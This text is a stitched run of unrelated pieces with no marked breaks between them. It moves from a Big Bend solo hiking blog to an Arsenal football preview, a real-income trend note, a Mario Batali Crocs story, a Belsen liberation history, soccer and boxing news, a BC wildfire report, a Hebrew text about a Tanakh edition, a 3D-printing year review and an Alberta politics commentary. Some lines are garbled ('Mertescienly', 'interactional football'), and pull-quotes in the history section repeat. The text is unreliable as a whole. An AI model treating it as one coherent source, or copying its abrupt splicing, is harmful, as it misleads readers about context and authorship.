My goal was to hike this whole stretch today to ensure I had enough water. I had a little more than two liters left. Plenty to get me through the 12 miles, but if I could not make the 12 miles, then it would be a little tough.
I figured since I was hiking across the desert that it would be relatively flat. I turned out to be quite wrong on this estimate. The Dodson Trail, which is the 12 mile stretch from the Juniper Canyon Trail to the Blue Creek Trail at the Homer Wilson Ranch was a son of a bitch, especially the first 6 miles.
You think of a desert as a flat expanse of dry hot ground, but this section of the Chihuahuan Desert was quite different. It was like the foothills of the Chisos Mountains. It was up one ridge and down the next. For the next 6 miles it was up and down, but it seemed to be more up than down.
The terrain coupled with the heat, combined with the lack of shade, added to the fact that my backpack was way too heavy, really began to slow me down. I felt like I was back at the end of the Chicago Marathon except no one was handing out water and gatorade. I would walk about fifteen minutes and have to stop and seek shade. Shade sometimes was usually in the form of sitting under a brush or rock. There were a few dry creeks and springs that had some trees, which I enjoyed, but most of the time shade was sparse and it was hot. Fortunately, wispy clouds covered the sun for periods of time only to have the hot sun break through again.
Worn out on the Dodson Trail
Each time I stopped I was swarmed with flies. I still could not believe such an army of flying insects could be found in such a hot environment. When I read that Big Bend was home to over 450 kinds of birds, I was amazed as that is almost the same number found in Florida. I now understood how the desert environment could hold such a quantity of birds as I discovered they had plenty to eat.
I knew I had to make time, but I also had to listen to my body. I did not want to over exert and come down with heat stroke. When I was tired I rested, found shade, and drank water and crystal light. The good thing about the flies is they made me want to keep going. I never got too comfortable while resting.
One particular climb up a ridge just about did me in. I realized I was not going to make my water stash tonight. This was going to make things a little dicey as I only had two liters left, and I needed some water for dinner and to drink that evening. I was so thirsty I could have downed both liters in an instant. I ended up drinking one liter that night. It was a good thing I let the park ranger talk me into carrying more water. I bought two liters at the store just before leaving.
A thirsty goodnight
I went to bed thirsty. I had about five miles to go the next morning to where I left the water. I knew I would be okay, but I was a little worried, about what might happened if I stepped off the trail accidentally and even got lost for 15-20 minutes. Sometimes when you solo hike, there is no margin for error.
On the bright side, I had a gorgeous view of the sun beating down on the Sierra del Carmen Mountains on the other side of the Rio Grande in Mexico. There would be no Old Granddad tonight as I did not want to drink alcohol and dehydrate myself further. It was a sober, thirsty, but scenic end to quite an adventure hiking down Big Bend Juniper Canyon.
The adventure continues in part III – Completing the Outer Mountain Loop
Read Big Bend hiking tips – Outer Mountain Loop hiking tips
TT
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The transfer deadline remains open until August 31st, but this is what we’re going into the season with and it’s on this the preview is based. Let’s begin.
Goalkeepers
Last season’s verdict: Cech is obviously the first choice now, bringing a wealth of experience and quality. He seems to have settled in quickly, and looks comfortable. Ospina provides decent back up while Emi Martinez adds depth (assuming he doesn’t go out on loan). As long as the former Chelsea man stays fit and in form, it will make us better back there.
I don’t think there’s any doubt that Cech was an excellent purchase, even if he did have one or two moments that weren’t fully convincing. He’s now retired from international football to focus 100% on his club career, and given he had some fitness issues last season that’s no bad thing.
Wojciech Szczesny being allowed to join Roma on loan again means that David Ospina is going nowhere. He too had some moments last season, but played superbly in the Copa America, and there aren’t many clubs in the Premier League or beyond who have better back-up for their number 1.
Verdict: I don’t think we can have any complaints about this area of the pitch. Cech’s experience and quality is going to be important, especially if we start the season with relative inexperienced central defenders, while Ospina is a fine deputy.
Defence
Last season’s verdict: The battles for the full-back positions should bring out the best of Gibbs, Monreal, Debuchy and Bellerin, while Gabriel will want to force himself into contention more often. Not an easy task given what a good partnership Mertescienly make, but overall a far healthier situation than we went into last season with.
It’s clear than Bellerin and Monreal came out on top in the battle of the full-backs, with Gibbs starting just 3 Premier League games and Debuchy getting into a huff and demanding to leave, eventually granted his wish with a loan move to Bordeaux. The pecking order there remains the same, but it seems unlikely Debuchy will be happy to spend another season playing second fiddle so expect more agitation from him. Gibbs seems to have distanced himself from rumours of a move so will continue as back-up to the Spaniard.
The centre of the defence is hugely worrying at this point though. Per Mertesacker is out until some time in 2017, Gabriel will miss 6-8 weeks with an ankle sprain, while Laurent Koscielny only returned to training this week after his summer of interactional football. That leaves Calum Chambers and 20 year old Rob Holding – who has never played a Premier League game – as the most available centre-halves. That’s far from ideal.
A signing in this area became urgent when Mertesacker was injured on July 23rd. To be this close to the start of the season and not done anything about it is just bad, there’s no two ways about it. The stories linking us with German international Shkodran Mustafi are very welcome, but stories today suggest a deal is far from complete.
Verdict: Experience and quality is needed here as soon as possible. Even when Gabriel returns to fitness, there are question marks over his ability. We need Koscielny to get back into his groove and not suffer a post-Euro final hangover, and Mertesacker will be missed. If the two young Englishmen can step up, then that would be great, but given their age and relative inexperience, it’s asking a lot of them. What actually happens on the pitch may well prove me wrong, but the centre of our defence is not terribly convincing at this point in time and that’s a big, big worry.
Midfield
Last season’s verdict: The big worry is that we don’t have the right cover for Coquelin. I still believe Arteta can do a job for us, but I understand why people have reservations because of his injury problems last season. In terms of numbers we’re fine, even with Wilshere’s injury, and I think the Ox is going to be massive this season. There’s creativity, solidity, goals and guts in this Arsenal midfield line-up, but hopefully the decision to let Schneiderlin go to United doesn’t come back to haunt us.
Well, I really couldn’t have got that one more wrong. Arteta barely played, we had no sufficient cover for Coquelin when he got crocked and he returned a somewhat diminished force, while Oxlade-Chamberlain had a season to forget. In general, the midfield was pretty much a disaster last season, losing Cazorla was a blow, Rosicky never played, Wilshere didn’t feature until the last two weeks, and Flamini was Flamini. Only Mesut Ozil really managed to perform with consistency, but even his impact dwindled in the second half of the season as striking woes caught up with us.
Overall, the dysfunctional midfield was a significant reason as to why the team’s performance levels were so inconsistent and why our title challenge fell apart. To be fair to the manager, he addressed some of it in January with the signing of the impressive Mohamed Elneny, and has splashed £35m on Granit Xhaka this summer. It shows he’s aware of the issues and has acted to address them.
When you look at the talent available: Ramsey, Ozil, Cazorla, Xhaka, Elneny, Coquelin, and perhaps Jack Wilshere, it’s genuinely exciting and how Wenger is going to set up his midfield with all those options will be really interesting.
Verdict: Central midfield looks as strong and dynamic as it has done for a long time. Xhaka’s has quality and an edge that we’ve missed for too long. Some of the ‘niceness’ associated with us could be done away with, and that’s a positive. How the manager puts it all together and makes it all work isn’t clear yet, but hopefully the depth and competition we have will bring out the best in them, and make us better able to cope with injuries.
Strikers
Last season’s verdict: Giroud remains the only real centre-forward option. Welbeck combines some of those qualities with those of Theo Walcott, while Wenger’s use of Theo up top might be as much about making space on the right for Oxlade-Chamberlain as much as anything else. Walcott still has a bit to prove as a central striker, and it’s hard to see him used there against the best defences. There exists a desire to see Arsene Wenger make a move for a ‘world class’ striker, but those are scarce, both in terms of numbers and availability. If a signing did happen, it would almost certainly require a move away for one of the current line-up, which would require a measure of genuine ruthlessness on the manager’s behalf – but as he showed with the capture of Cech, if the player is there he seems prepared to do it.
Giroud finished top scorer, and got goals against Bayern Munich (twice), Man City (twice), Liverpool, and for club and country he ended up with 31 goals overall. Unfortunately there was that long period where he scored just twice in 22 games, and that has coloured opinion of him, understandably so to an extent, but it also lays bare how badly we need an improvement/alternative to him.
Alexis suffered a post-Copa loss of form then injury but still ended up with 17 goals. Welbeck was out, came back, excited for a bit, then got injured again. Joel Campbell played well but never seemed to fully convince the manager. Walcott started as first choice striker but ended up a bit-part player who now no longer wants to play that role. The emergence of Alex Iwobi was a real positive, and hopefully the 20 year old can continue his progression this season.
This time around Alexis got some summer time off – even if it was brought about through an injury – but Giroud arrives back late from the Euros. It’s hard to predict what kind of impact Walcott will have despite the manager saying he expects a strong season, and in wide areas we do have players like Iwobi, Campbell and Oxlade-Chamberlain who can contribute but it’s hard to think any of them will be prolific.
And yet, we’ve lost Welbeck for most of this season, and after last season the manager admitted a striker was necessary. “I think we are short of a few goals in the number we scored,” he said in May. So far no addition has been made to this area (the signing of Takuma Asano feels quite separate as he’s likely to need a season on loan to rack up more caps for Japan to get a visa).
Knowing this since May and having done nothing about it is a frustration. Perhaps it’s because we’re trying something big, because if we’d wanted some kind of striker, we could have got some kind of striker by now. Signing somebody who would really, really improve the squad would certainly be a bit more complicated, but again this might be putting two and two together and getting five.
The club say they know we need a striker, conventional wisdom says we need a striker, there surely isn’t anyone out there who doesn’t believe we need a striker. We surely can’t go through another window without signing one. To do so with the resources available to us would be a shocking indictment of the club’s transfer policy. This is a team that does have goals in it, but to really kick on this summer, we have to make at least one addition.
Verdict: I hope we’ll see a fired-up Alexis this season, and for all his faults, Giroud is essentially a 20 goal a season player across all competitions. The worry is how reliant we become on him, and that’s something that has to be addressed between now and the end of the window. Campbell, Iwobi, and Oxlade-Chamberlain should be able to contribute to varying extents, but it feels like the season is dependent to large degree on who else we bring in to add the requisite firepower.
Overall
Last season’s verdict: I think this is a team capable of having a really good go, the balance of experience and youth is right, we don’t have any obvious deficiencies in terms of numbers (e.g – lack of a centre-half last summer), and it feels like the players are very focused on improvement. I think it’s the best squad we’ve had in a long, long time, the key is consistency. If we can find that, I think we’ll be there or thereabouts in May.
Well, we were top of the league in January before suffering that horrendous slump which saw us fall away. The end to the season was funny but only because we’d already come to terms with our not winning the title, and the hilarity and relief of seeing Sp*rs Sp*rs it up like never before could only be enjoyed in that context.
This time around, it feels like a very familiar story. We have a good squad overall with genuine midfield strength, the best creative midfielder in the Premier League, a dynamo in Alexis Sanchez, some good experience and some exciting youth. And yet, as ever, it feels like we’re missing a couple of key components to really challenge for the title.
Going into the first game against a team like Liverpool having to field an inexperienced or makeshift back four is a touch unfortunate, but mostly down to prevarication in the transfer market. Something should have been done the minute the seriousness of Mertesacker’s injury was known, and you could make a good case that a central defender was needed before that.
As for the need to add firepower to the forward line, we’ve known about that for a long time and it was a situation exacerbated by Danny Welbeck’s injury. We’re not in terrible shape there, but without bringing in somebody who can add the finishing efficiency we lacked last season, it’s difficult to see how we’re going to make up that shortfall.
There are still two weeks of the window left and a lot can happen between now and then. Go back to 2013 when we pulled that German rabbit out of the hat on deadline day, but that deal – fantastic as it was – masked what was a summer of genuine frustration as once again Arsenal failed to add the players they needed to the squad.
Unless the right business is done before August 31st, I don’t believe this is a team that can win the league. Not with what’s going on elsewhere and the recruitment that’s being done by other clubs. The club have the money to do almost anything they want in the transfer market, and maybe they’re working hard behind the scenes to do just that, but until those players are pictured in the red and white and are kicking a ball for the Arsenal, people will remain dubious of our ambitions.
To recreate the series, I took the difference of nominal personal income and current transfer payments and deflated the resulting series by the personal consumption expenditures price index. I then estimated the (log) linear trend over various time horizons. We are currently well below the trend extrapolated the from Jan-91 to Dec-07 period:
An interest subset of this period is the trend during the tech boom, Jan-95 to Dec. 00. The rapid rate of income growth during that period, although likely not sustainable, felt good for a reason:
Too bad we could not maintain that trend. With income growth likely that, tax coffers would be overflowing. Remember how we used to think the next financial crisis would be too little Treasury debt? Good times.
Using a longer sample to estimate the trend reveals that the Jan-91 to Dec-07 trend was set to trend just slightly above the longer Jan-75 to Dec-07 trend:
Importantly, the gap between trend and actual real personal income less transfer payments has reached its widest since 1975:
And we used to think the late 70s were bad! (The same qualitative result holds using the Jan-75 to Jan-10 sample).
Looking at per capita measures (linear trend) provides similar insights:
While appearing on the “The Rachel Ray Show” on Thursday, the chef revealed that he ordered a “lifetime supply” of his beloved shoe when he discovered the brand planned to discontinue that specific color in the Classic model.
Celebrity chef Mario Batali wears Crocs Classic clogs. CREDIT: Rex Shutterstock
“Crocs and I had a long relationship, and they decided to discontinue this particular color — the one that has the light, refreshing airy holes,” he explained, holding up the shoe. “But we asked, before they finished the run, for what we perceived to be a lifetime supply.”
The 55-year-old received 200 pairs of the shoe — enough to wear two pairs a year, he joked.
Before “The Chew” host was introduced to the brand, he wore Italian label Calzuro’s operating room clogs in his restaurants.
Bistro Mario Batali Edition clogs by Crocs; available for $44.99. CREDIT: Courtesy
But he later was introduced to Crocs and quickly became a fan. In 2007, Batali and Crocs went into business together.
Crocs currently sells a Bistro Mario Batali Edition shoe modeled after his clogs, but without the holes he favors.
The shoe is designed specifically for people in the food service, hospitality and health care industries, retailing for $44.99 online.
The reality These concentration and slave-labour camps, located throughout the Reich, were different from the extermination camps. Although the concentration camps were also places of appalling suffering and death, the authorities 'merely' incarcerated the inmates - political and religious prisoners, criminals, resistance activists, deserters, shirkers, and internees - at these sites, rather than exterminating them. ... living visions of hell, packed with starving, dehydrated, disease-ridden prisoners. During the last months of the war, however, as the Allies advanced towards Auschwitz, the Germans force-marched or transported many of the camp's Jewish inmates by rail to other, already over-full, concentration camps. This redistribution of Jewish prisoners, when combined with the administrative chaos that had engulfed the Third Reich, led to some concentration camps degenerating further into living visions of hell, packed with starving, dehydrated, disease-ridden prisoners. American army units were the first to discover such camps, when on 4 April 1945 they liberated the recently-abandoned slave labour camp at Ohrdruf, in Thuringia, Germany. Then, on 11 April, American forces liberated the camps at Buchenwald, near Weimar, and the V2 rocket slave-labour camp at Nordhausen in the Harz Mountains. It was not until four days later, however, that the British army liberated its first such camp - Bergen-Belsen, located on Lüneberg Heath, 45 miles south of Hamburg. Subsequently, British forces would liberate other such camps, including Neuengamme, located near Hamburg. The Nazis first created a detention camp at Bergen-Belsen for 8,000 foreign prisoners in 1943. And during late 1944 and early 1945, some 60,000 Jewish inmates from other concentration camps were transported to Belsen. These individuals had previously been evacuated from the Auschwitz-Birkenau extermination and slave labour camp system. Top
Liberating Belsen By 12 April 1945, British Army forces had advanced across Lower Saxony toward the Aller River. That day, the Germans opened negotiations for the surrender of the nearby concentration camp at Bergen-Belsen. During a locally-arranged truce, the German negotiators stated that as the camp had 9,000 sick inmates, many of them with typhus, but neither water nor medical supplies, they were prepared to surrender the camp and the neighbouring area. Their stated motive was to prevent the epidemic contaminating the soldiers deployed in the vicinity. Consequently, on 15 April the British took the surrender of the camp. The first sights that the liberating British forces encountered were disturbing, but not entirely unexpected. Several hundred thin - but otherwise healthy - prison inmates, many wearing the standard German striped prison garb, enthusiastically greeted their liberators. ... this first impression of Belsen as a typical Nazi detention facility could not have been more wrong. Sadly, this first impression of Belsen as a typical Nazi detention facility could not have been more wrong. For the German administration of this part of the complex - No.2 Camp - had remained intact and, by the normal brutal standards of the Nazis, its inmates had not been too inhumanely treated. As the liberators pushed further into the complex, however, the true horror of Belsen became apparent. In the preceding weeks, the Germans had deposited in No.1 Camp over 60,000 prisoners, mostly Jews transported from other concentration camps threatened by the Allied advance. These tormented prisoners had lived and, in many cases, died in Belsen, in appalling conditions of starvation, dehydration and lack of shelter. Unsurprisingly, these conditions made No.1 Camp a breeding ground for disease. Within weeks of the arrival of the new inmates, epidemics of typhus, dysentery, and tuberculosis were raging out of control. In the face of this danger, the German camp authorities all but gave up their efforts to deliver to the inmates even the most basic requirements to sustain human life. Top
Further horror As they explored No.1 Camp, the liberators encountered scenes reminiscent of Dante's Inferno - a living example of hell on earth. They discovered 20,000 emaciated naked corpses lying unburied on the open ground or in the barrack blocks. Some inmates had literally starved to death where they lay, too weak even to drag their wasted bodies away from the typhus-infested corpses that surrounded them. British troops recalled that the combination of the sickly-sweet stench of rotting human flesh, and the nauseous reek of human excrement was so overwhelming that it could be detected up to three miles beyond the camp walls. The camp had been without water for six days, after Allied bombing had broken its pump, although the guards had not attempted to gather water from a nearby creek. ... these shaven-headed 'living skeletons' lay or sat in their own filth in the open ground ... The liberators also encountered around 50,000 'survivors'. With ribs protruding through taut dry skin, bellies distended, these shaven-headed 'living skeletons' lay or sat in their own filth on the open ground or in the tiered bunks of the camp's barrack blocks. Some were too weak even to respond to the British troops, and stared into the distance with bulging, glazed eyes. Indeed, the liberators found it very difficult to discern the all-but dead from those actually deceased. Those inmates who were still just able to move, painfully crawled across the muddy ground on all fours, driven by the desperation of hunger and thirst to seek out what food or moisture they could find among the corpse-littered ground. Top
Relief efforts The first task for the liberators was to tackle this medical nightmare. Yet despite heroic efforts, there was a limit to what the British medical teams could do in the face of such a large-scale disaster. The British estimated that of the roughly 50,000 inmates still living, 20,000 were seriously or critically ill. With those prisoners who seemed to stand some chance of living, the medical teams first washed and deloused them, before disinfecting them with DDT powder. Inmates were then admitted to a makeshift hospital established in the camp. Here, the doctors attempted to rehydrate and feed them, while treating their illnesses. Even so, many were just too ill to be saved. ... 13,000 Belsen inmates died after liberation. It is sobering that, despite all these efforts, 13,000 Belsen inmates died after liberation. Some inmates had been starved for so long that they had lost the ability to digest the rations that well-meaning British soldiers offered them; within minutes of taking a biscuit, some inmates just passed away. Largely through trial and error, the medical staff developed special nutritious but easily-digested concoctions for the inmates. Undertaking these relief efforts took a heavy psychological toll on the British medics. One doctor commented that if they did not get blind drunk each night they would all 'go stark staring mad'. Another task was to dispose of the 20,000 diseased bodies, in order to contain the spread of typhus. The British forces made the surrendered German and Hungarian SS camp guards carry the corpses into mass graves that had been dug by British bulldozer teams. As punishment for their crimes, the camp guards were prevented from using protective gloves, and consequently some of them contracted typhus and died. This method of burial soon proved too slow, and subsequently the bulldozers simply shovelled the corpses into the graves. This apparent lack of the respect for the dead led to criticism, but it was a necessary expedient. In addition, Isaac Levy, a Senior British Army Jewish Chaplain, held a burial service as each mass grave was filled in. As the weeks went by the British steadily relocated the recovering inmates to local housing commandeered from German civilians. As this process unfolded, the local populace were forced to inspect the camp, to see for themselves the evils committed in their name. Finally, after all the inmates had left, the British burned down the camp to prevent the lice rampant in the installation from spreading the typhus epidemic further. As a result, much of Belsen's infrastructure was lost to the world as a potential memorial of man's inhumanity to man. Top
Ramifications The discovery of camps like Belsen and Dachau impacted massively on western public opinion, as well as on political and military decision-makers. The photographs and newsreel footage taken at these camps led to widespread and intense revulsion towards Nazi Germany and Germans in general. ... footage taken at these camps led to widespread and intense revulsion towards Nazi Germany ... The images also roused further the clamour for justice that culminated in the Nuremberg War Crimes process. Indeed, the impact of the film footage taken at Belsen concentration camp became so ingrained in British popular culture that its name became a synonym for the worst examples of Nazi inhumanity - a connotation that remains just as strong to this day. Top
By DAN KARELL
A three time UEFA Champions League winner could be heading to Major League Soccer next summer.
According to a report in the British newspaper, the Guardian, Chelsea forward Samuel Eto’o has decided to come to MLS at the end of his contract this summer. The 32-year-old forward took a pay cut to move to England this past summer but his move to the EPL hasn’t gone off as well as he would have liked.
Eto’o, who is expected to captain Cameroon at the World Cup in Brazil next summer, was subject to transfer speculation last month for a move to Toronto FC. However, this report states that he’s likely to snub the Canadian club in favor of moves to either the LA Galaxy, Chivas USA, or D.C. United. The report adds that the Seattle Sounders and Chicago Fire have expressed interest as well. MLS teams can begin negotiating with Eto’o’s representatives next month with as there will be less than six months left on his current contract.
MLS and Chelsea have yet to publicly comment on this report.
If the Galaxy are indeed interested in acquiring Eto’o next summer, it would mean that one of their current Designated Players, Robbie Keane, Omar Gonzalez, and Landon Donovan, would either have to restructure their contract or be sold. The same would apply to the Sounders, who have three Designated Players on their roster, Clint Dempsey, Osvaldo Alonso, and Obafemi Martins.
Before moving to Chelsea, Eto’o spent two seasons at high-spending Russian club Anzhi Makhachkala, which paid him a reported €20 million per season after taxes. Prior to the big-money move to Russia, Eto’o was Mourinho’s star forward at Inter Milan, winning a Serie A title, Champions League, and two Coppa Italias.
Eto’o though really made his name with FC Barcelona in Spain, winning the Champions League twice and La Liga three times. In his final season with the Catalan club, Eto’o scored an amazing 36 goals in all competitions.
This season for Chelsea, Eto’o has scored just twice in nine EPL appearances and just four times in 15 appearances in all competitions.
Newly crowned WBC cruiserweight champion Tony Bellew says he was just an amateur when he stepped into a sparring session with former two-division world champion David Haye.
Bellew claims he, along with Olympic bronze medal winner David Price, busted up Haye so bad that it caused him to withdraw from a scheduled fight.
On Sunday, Bellew (27-2-1, 17KOs) captured the WBC cruiserweight belt in Goodison Park with a brutal third round knockout of Ilunga Makabu. After the contest was over, he called for a fight with Haye (28-2, 26KOs).
Haye has been fighting in the heavyweight division since 2008. He posted a video response to Bellew's taunts, stating that he's more than willing to face the Liverpool fan-favorite, but refuses to come down to cruiserweight. If he won't come down, then Bellew is willing to come right up.
He told Sky Sports: "If he [Haye] wants to get down and train properly he could do cruiserweight but he's happy living the lifestyle he lives and parading around and if that's the way he wants to do it, we can do it at heavyweight. It's not an issue. I'll leave him to weigh whatever he wants.
"He's a small heavyweight. We're not talking about Tyson Fury, Wladimir Klitschko, Deontay Wilder or David Price here. We're talking about me going in with a dwarf heavyweight - someone who's a built-up cruiserweight. He's a manufactured heavyweight and not a true heavyweight. Anything over 16st and he's slower anyway.
"I've sparred with David in the past and he knows what happened when we sparred. I was an unknown amateur at the time. What I will say is that I wasn't the guy pulling out of a fight 24 hours after that sparring session. He got his backside kicked and then pulled out of the Mark Hobson fight after that session. Hobson actually told him that he'd heard he'd been beaten up by two Scousers in Liverpool and that's why he was pulling out.
CTVNews.ca Staff
British Columbia is experiencing its worst wildfire season on record and some experts say part of the solution is more “prescribed burning.”
Lori Daniels, a professor of forest ecology at the University of British Columbia, says that forest fires are a “critical part of the ecosystem” and the province’s current strategy to fight as many blazes as possible can make things worse.
That’s because putting out fires that aren’t threatening homes leaves them full of dry, dead material that makes later fires spread even faster and further.
“When we remove fire from the landscape, we make the forest more uniform and susceptible to fast-moving fires that are hard to contain,” Daniels says.
Dan Perrakis and Steve Taylor of Natural Resources Canada say that, in the long run, it would be better to do more “prescribed burns” in rural areas.
Daniels agrees, saying that would also save B.C. taxpayers money. “We’ve spent $1.8 billion over the last decade fighting fires and $78 million to try to apply these well-known techniques.”
The B.C. government has said it’s open to exploring new forest management strategies, but its focus for now is on protecting communities.
שלא כמו רוב המהדורות של התנ"ך שיצאו לאור בדורות האחרונים, שהשימוש בהן מוגבל ע"י זכויות יוצרים, הציבור מוזמן להשתמש ב"מקרא על פי המסורה" לפי התנאים הנוחים של רישיון חופשי ופתוח (CC-BY-SA). רישיון זה ליצירת תרבותית חופשית ופתוחה תקף לגבי נוסח המקרא עצמו שבמהדורה, וגם לגבי התיעוד הרחב המלווה את הנוסח בדפי העריכה ובפרקי המבוא, ולעיצוב הטקסט ע"י תבניות.‏[2]
הראשונה היא מהדורת מכון ממרא, שהיא מהדורה טובה ומדוייקת של התנ"ך לפי המסורה (לפי שיטה שהיא קרובה מאוד לשיטת ברויאר). אבל אין בה שום תיעוד לנוסח, והשימוש איננה לפי רשיון חופשי: ניתן להשתמש בה לצרכים אישיים מוגבלים (קטעים קצרים) בלי לבקש רשות או לשלם, אמנם אסור להעתיק אותה או לשפר אותה (אסור לדוגמה לפרסם את הטקסט הזה באתר האינטרנט שלך ולהוסיף עליו פירוש או תרגום או כל תיקון או תכונה נוספת). השנייה היא מהדורת וסטמינסטר (Westminster Leningrad Codex או WLC), שהיא מהדורה מקצועית ואקדמית, שהיוצרים שלה התירו באדיבותם את השימוש בה בלי שום מגבלות. אמנם הנוסח שבה (וגם הממשק) אינם מתאימים לגמרי ליהודים; מהדורת וסטמינסטר מהווה ניסיון ליצור ייצוג דיגיטלי מושלם של כתב־יד אחד מאוד חשוב, שנקרא "כתב־יד לנינגרד". בהתאם למטרה זו הכילו ב-WLC את אלפי פרטי הנוסח החריגים שבכתב־היד, כולל אפילו טעויות ברורות. צריך לזכור שמטרת ה-WLC היא לספק בסיס מהימן עבור הכנת תרגומים של התנ"ך לשפות זרות, בשביל מחקר העברית המקראית ולימודה, ולעוד מטרות טכניות ואקדמיות, ובשביל המטרה הזו ה-WLC באמת מספיקה בדרך כלל. אבל היא לא מספיקה בשביל יהודים שרוצים לקרוא את התנ"ך בטעמי המקרא.‏[3]
מאז שנת תשע"ה, הבסיס של הפרויקט נמצא בקובץ של גיליון אלקטרוני (spreadsheet) בגוגל-דוקס. כל המרכיבים של דפי המקרא מקוטלגים בקובץ זה לפי תחומים: הפסוקים עצמם, הרווחים הפשוטים או של הפרשות לפני הפסוקים, מספרי הפרקים והפסוקים ותבנית הניווט, הקוד המיוחד לצורת השיר, ועוד. לפרטים טכניים נוספים על הקובץ ועל אופן השימוש בו, ראו את המדריך הטכני לגליון הנתונים.
שמירת הנתונים המאורגנת בגליון בגוגל-דוקס מיועדת לאפשר שימוש יעיל בתוכן ליישומים נוספים (בתוך ויקיטקסט וגם מחוץ לפרויקט). היא מאפשרת תיוג קל ויעיל של פסוקים ופרקים ושל עוד אלמנטים בטקסט, כדי להעביר אותם לדוגמה אל xml. כל מי שרוצה להשתמש בחומר יכול לעשות זאת לפי תנאי הרשיון החופשי (כולל הפנייה אל הדף הזה בתור ייחוס).
הוא נוסח המקרא בתוך עבודת הפיתוח נעשתה ליחידה של מקרא על פי המסורה עבור Accordance Bible Software (נוסח המקרא נשאר ברשיון חופשי).
2016 was another exciting year for additive manufacturing aka 3D printing. On a personal level, I was fortunate enough to be invited to give presentations to those inside (and outside) our industry. But more importantly I got to meet with many of the individuals involved with 3D printing on daily basis, and with those who are shaping the development of the technology for the coming year and beyond. This week we have some more exclusive interviews with several of those people.
3D printing in transition, shifting business models
Advances in academia remain a key interest of mine and the year provided plenty of reading material in the form of research papers from leading institutions. On the commercial side, the landmark deal announced by GE in September plus continued venture capital and hedge fund activity provided ample opportunity to keep commentators (and lawyers and investors) busy while further validating the 3D printing industry.
2016 saw an incredible number of expos, tradeshows and conferences either dedicated to AM or prominently featuring the technology. During the first half of the year RAPID and AMUG were the places to see and discuss new 3D printing technology first, in the later half IMTS and Formnext were events not to be missed. In 2017, 3DPI will continue reporting from the most important and interesting events.
Government initiatives and 3D printing industry groups such as 3MF sought to advance 3D printing and such programs are likely to continue to bear fruit in 2017. Microsoft in particular are hoping to lure a few more down the 3D wormhole and brought entry level design software to mobile devices with the Builder 3D app. Autodesk have taken a different path and recently announced that the 123D family of apps will be discontinued in March this year, although functionality will be retained as part of the wider suite of applications. Also as we reported, Autodesk’s business model shifted during 2016 to a subscription basis.
Topology optimization and convergent modelling
In other software news, 3D Systems launched 3DXpert for metal additive in a bid to refine workflow and integrate 3D printing with more traditional processes. We also saw the emergence of several other new strategies to industrialize additive manufacturing. This month Siemens will commence roll-out of 3D printing capabilities integrated into a software suite that allows design, simulation, automation and digital lifecycle management. Siemens have a vast customer base and during demonstrations at Formnext showed how they are working with Materialise NV.
Topology optimization and convergent modelling are likely to be phrases heard at many of the events in 2017. In the case of the former, Design for Additive Manufacturing (DfAM) is still at a relatively early stage when it comes to production. In all likelihood DfAM will not become fully embedded in manufacturing during the coming year. However we can expect to see some new case studies from the groups at the forefront of this area, and most likely more of the wonderful biomimetic designs that topology optimization frequently produces.
The trend towards consolidation and extended partnership arrangements will undoubtedly continue in 2017. An interesting byproduct of the takeovers and tie-ups will be how the competitive landscape adapts. For example, will technology from GE acquisitions still be available to companies in competition with the half trillion dollar multinational enterprise? And will those competitors continue existing relationships with the two companies bought by GE or look to secure access to AM production via their own acquisitions?
3D printing in space
Given the staggering lead times and substantial budgets involved in aerospace development this is an area where early news about the future of 3D printing can often be found. Discussions during the plenary sessions at 2016’s International Astronautical Congress (IAC) frequently touched upon the use of 3D printing as a way to reach the stars, an application that has already been demonstrated. Taking a longer time horizon, the use of 3D printing in orbit to manufacture off world structures came up in conversations with representatives of national agencies. Harnessing in-situ materials to 3D print space stations and lunar bases might not become business as usual during 2017, but I’m looking forward to hearing more about the research that will get us there.
Back on Earth, 2017 is set to bring even more materials for 3D printing. Carbon recently confirmed rumors about a new range of resins. The full announcement will be made at CES and we will be able to provide more details then. 3D printing also continued its ascent of the “plastic pyramid” as patents around techniques for 3D printing engineering plastics such as PEEK began to expire. A presentation at Formnext by Terry Wohlers drew the packed rooms attention to this (and other developments) and during my regular visits to the engineering department at 3DPI’s offices I’ve also seen how this advanced thermoplastic, with biomedical and other demanding applications, is advancing.
For metal materials competition is likely to intensify with Alcoa embarking on metal powder production and AP&C now having the deep pockets of GE to fund further expansion. New processes hoping to lower the cost of metal powder for additive manufacturing could be a landmark moment, if the venture comes to fruition.
And finally…
And finally, in the closing months of the year I was invited to become Editor-in-Chief of 3DPI. Having been a reader of the site since its launch in 2012, this was a fantastic opportunity and one I was more than happy to take.
In 2016 3DPI was the first to break news, make accurate forecasts about the 3D printing industry and get to the truth about misleading stories published elsewhere. This included predicting the next move of GE, forecasting changes in leadership at major 3D printing enterprises and setting the record straight about alarmist and inaccurate reporting.
During my short time as Editor-in-Chief at 3DPI I’ve been surrounded by an amazing group of writers, engineers, scientists, artists, developers and designers. For 2017 I’m looking forward to increased collaboration with this group and the wider 3D printing community.
But for now, Happy New Year and don’t forget to let us know about your own 3D printing highlights using this link to nominate in the 1st Annual 3D Printing Industry Awards.
After a short 898 days as Premier of Alberta, Alison Redford announced today that she plans to resign as premier and leader of the Progressive Conservatives on Sunday, March 23, 2014.
After facing months of controversy over travel expenses and weeks of turmoil in her caucus, Ms. Redford faced the prospects of an MLA revolt unless she took drastic action. With two recent MLA defections and indications that more were to come, it had become clear that Ms. Redford had lost control over her caucus, suggesting that her departure was imminent.
Preferring international travel to the day to day business of governing, she faced internal criticism for being inaccessible to her party’s MLAs, many who felt completely disconnected from the business of governing. Many chalked it up to her having been appointed straight into cabinet when she was first elected as an MLA in 2008.
Her departure is not unexpected, as the PC Party has proven itself ruthless towards leaders who threaten its chances of re-election. But while delivering her farewell speech in the Rotunda of the Legislative Assembly Building tonight, Ms. Redford was graceful in her departure. She looked and sounded like a Premier should.
Many Albertans, myself included, had great hope for Ms. Redford when she was chosen as the leader of the PC Party in 2011. After forty years in power, Alberta’s natural governing party had grown stodgy and complacent. Casting herself as a progressive conservative in the mould of former premier Peter Lougheed, she attracted the support of many non-traditional PC supporters – liberals, moderates, trade unionists and even soft-New Democrats.
And with the help of that new electoral coalition, Ms. Redford defeated the conservative Wildrose Party in our province’s most hotly contested election in memory. There was hope but Ms. Redford and her party were quick to disappoint.
While the Redford Tories continued the smart infrastructure investments begun under previous premier Ed Stelmach, they quickly turned against many of the moderate voters who supported the party in 2012.
Deep cuts to post-secondary education, cuts to supports for people with developmental disabilities, harsh anti-labour legislation, and drastic changes to pension plans have helped alienate many professionals and public sector workers who would have otherwise gladly continued to support her. Instead of being humbled by their near defeat in 2012, the PC Party has become more arrogant. After 43 years of power, they act as if they were invincible.
